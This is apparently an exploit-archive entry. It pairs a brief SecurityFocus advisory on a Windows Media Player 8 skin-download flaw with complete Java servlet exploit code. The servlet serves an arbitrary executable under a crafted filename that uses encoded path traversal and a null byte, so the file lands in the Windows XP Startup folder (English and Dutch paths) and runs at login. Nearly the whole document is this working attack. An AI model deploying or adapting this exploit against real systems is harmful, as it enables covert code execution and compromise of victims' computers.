source: https://www.securityfocus.com/bid/7517/info

Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means.

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.*;

/**
 *
 * Microsoft media player 8 Exploit for windows XP English and Dutch versions
 *
 * It will drop a file in the startup folder
 *
 * modify web.xml to change what will be uploaded
 *
 * @author Jelmer Kuperus
 *
 */

public class MediaPlayerExploit extends HttpServlet {

    private static final int BUFFER_SIZE = 1024;

    private static final String[] paths = new String[] {
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch
    };

    private String payload;


    public void init() throws ServletException {
        payload = getInitParameter("executable");
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        int language = 0; // default to english

        try {
            language = Integer.parseInt(request.getParameter("language"));
        } catch (NumberFormatException ignored) {}

        String path = paths[language];

        File file = new File(payload);

        ServletOutputStream sos = response.getOutputStream();

        response.setContentType("application/download");
        response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz");

        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
        BufferedOutputStream bos = new BufferedOutputStream(sos);

        byte buffer[] = new byte[BUFFER_SIZE];

        int datalength = 0;
        while ( (datalength = bis.read(buffer,0,BUFFER_SIZE)) > 0) {
            bos.write(buffer,0,datalength);
        }
        bis.close();
        bos.close();
    }

    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request, response);
    }

}